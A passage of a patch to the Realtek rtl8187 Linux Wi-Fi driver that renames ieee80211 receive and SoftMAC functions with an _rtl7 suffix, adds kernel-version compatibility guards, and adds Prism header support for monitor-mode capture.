drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,94 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + + hdr->mactime.did = LWNG_CAP_DID_BASE | (2 << 12); + hdr->mactime.status = 0; + hdr->mactime.len = 4; + hdr->mactime.data = rx_stats->mac_time[0]; + + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +139,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +169,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +208,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +221,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +231,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +253,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +262,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +328,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +369,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +379,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +414,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +424,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +442,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +488,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +511,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +519,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +556,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +576,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +604,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +630,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +648,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +658,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +681,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +694,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +705,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +739,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +749,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +769,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +797,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +838,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +936,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +976,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +993,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1044,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1071,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1094,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1123,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1195,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1227,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1235,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1274,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1284,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1319,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1341,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1386,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1395,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1435,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-18 18:27:33.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac.c 2010-05-19 22:18:51.969358999 -0700 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = 